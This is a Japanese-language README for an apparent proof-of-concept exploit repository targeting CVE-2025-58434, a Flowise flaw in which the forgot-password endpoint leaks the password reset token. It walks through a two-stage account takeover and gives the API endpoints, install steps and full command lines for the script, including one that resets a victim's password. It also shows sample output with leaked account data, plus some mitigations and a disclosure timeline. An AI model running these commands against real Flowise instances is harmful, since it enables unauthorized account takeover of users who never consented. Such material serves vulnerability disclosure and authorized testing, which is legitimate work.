
⚠️ このリポジトリは教育目的および許可を得たセキュリティ研究専用です。
所有していない、または明示的なテスト許可を得ていないシステムへの不正使用は違法です。
Flowise(クラウドホスト版・セルフホスト版の両方)の forgot-password エンドポイントは、有効なパスワードリセットトークン(tempToken)を HTTP レスポンスボディに直接返します — メールの検証も認証も一切行われません。
つまり、被害者のメールアドレスを知っている(または推測できる)攻撃者は、以下の操作が可能です:
forgot-password エンドポイントを呼び出す → JSON レスポンスで tempToken を受け取るtempToken を使用して reset-password を呼び出す → 任意の新しいパスワードを設定する事前のアクセス権、ユーザーの操作、メールへのアクセスは一切必要ありません。
forgot-password ハンドラーは、生成された tempToken を含むユーザーレコード全体を、ユーザーの登録済みメールアドレスにのみ送信する代わりに、API レスポンスで直接返します。
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
cloud.flowiseai.com)— 影響を確認済みパッチ適用済みリリース情報については、公式 Flowise GitHub を確認してください。
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests ライブラリ# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Install dependencies
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
インスタンスが脆弱であることを確認し、パスワードをリセットせずに tempToken を取得します。
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
漏洩したトークンを使用して、直ちにパスワードをリセットします。
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
Flowise インスタンスの運用者は、以下の緩和策を直ちに適用してください:
forgot-password からは、メールアドレスの存在有無に関わらず汎用的な成功メッセージを返す — これによりアカウント列挙も防止できる。forgot-password エンドポイントにレート制限を追加する。| 日付 | イベント |
|---|---|
| 2025-08-19 | 脆弱性を発見・報告 |
| TBD | ベンダーによる確認 |
| TBD | パッチ公開 |
| TBD | 一般公開(開示) |
このプロジェクトは教育目的および許可を得たペネトレーションテストのみを目的としています。
| フィールド | 値 |
|---|
| CVE ID | CVE-2025-58434 |
| CVSS スコア | 9.8(Critical) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: 脆弱なパスワード回復メカニズム |
| 種別 | 認証バイパス / 安全でないダイレクトオブジェクト参照 |
| 影響を受けるアプリ | Flowise(クラウド + セルフホスト) |
| エンドポイント 1 | POST /api/v1/account/forgot-password |
| エンドポイント 2 | POST /api/v1/account/reset-password |
| フラグ | ショート | 説明 | デフォルト |
|---|
--url URL | -u | Flowise インスタンスのベース URL | (必須) |
--email EMAIL | -e | 対象アカウントのメールアドレス | (必須) |
--reset | -r | ステージ 2 を実行:漏洩したトークンでパスワードをリセット | False |
--new-password PASS | -p | 設定する新しいパスワード(--reset と併用) | Changeme@2025! |
--timeout SECONDS | -t | HTTP リクエストのタイムアウト | 10 |
--json-output | -j | 生の JSON API レスポンスを標準出力に表示 | False |